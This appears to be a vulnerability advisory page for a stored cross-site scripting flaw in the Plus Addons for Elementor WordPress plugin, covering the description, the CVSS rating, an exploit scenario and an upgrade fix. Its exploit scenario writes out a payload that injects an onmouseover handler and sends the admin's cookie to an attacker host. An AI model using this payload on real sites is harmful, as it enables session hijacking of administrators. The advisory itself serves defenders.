EUVD-2026-33254
GHSA-p7qc-q5q2-fm5h
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The Plus Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'carousel_direction' parameter of the Carousel Anything widget in versions up to, and including, 6.4.15 This is due to insufficient output escaping in the render() function, where the carousel_direction value is placed into an unquoted HTML attribute (dir=) allowing attribute injection despite the use of esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
AnalysisAI
Stored Cross-Site Scripting in The Plus Addons for Elementor WordPress plugin (versions up to and including 6.4.15) allows authenticated contributor-level attackers to persistently inject malicious scripts via the carousel_direction parameter of the Carousel Anything widget. The root cause is an unquoted HTML attribute context in the render() function where esc_attr() is applied but insufficient - attribute injection is still possible by appending space-separated event handlers to the bare dir= attribute. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated WordPress account at contributor level or above - confirmed by CVSS PR:L. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 6.4 score is supported by a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, reflecting a network-accessible, low-complexity attack with changed scope - meaning the injected script can affect users and sessions outside the attacker's privilege boundary, including administrators. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding a WordPress contributor account navigates to the Elementor editor for a new or existing page, adds the Carousel Anything widget, and sets the carousel_direction field to a payload such as rtl onmouseover=fetch('https://attacker.tld/?c='+document.cookie), exploiting the unquoted dir= attribute to append a JavaScript event handler. The crafted page is published, and when a site administrator reviews or visits the page, the injected script fires in their browser context, exfiltrating the admin session cookie to the attacker's server. … |
| Remediation | Upgrade The Plus Addons for Elementor plugin to version 6.4.16 or later - a WordPress.org changeset (https://plugins.trac.wordpress.org/changeset?old_path=%2Fthe-plus-addons-for-elementor-page-builder/tags/6.4.15&new_path=%2Fthe-plus-addons-for-elementor-page-builder/tags/6.4.16) confirms code changes were introduced between 6.4.15 and 6.4.16; note that 6.4.16 as the confirmed patched release is inferred from this changeset reference rather than an explicit vendor patch advisory - verify against the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/699e41ad-1991-4100-9ef2-caea7743e45b before treating it as authoritative. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
The Vitepos WordPress plugin before 3.4.2 does not properly restrict the roles that can be assigned when creating new u
The weMail: Email Marketing, Email Automation, Newsletters, Subscribers & Email Optins for WooCommerce WordPress plugin
The Taskbuilder WordPress plugin before 5.0.8 does not properly sanitise a URL parameter before echoing it into inline
The ultimate-woocommerce-auction-pro WordPress plugin through 2.4.5 does not sanitise and escape a parameter before outp
The Transbank Webpay WordPress plugin before 1.14.0 does not sanitize and escape logs to be displayed, allowing unauthen
Share
External POC / Exploit Code
Leaving vuln.today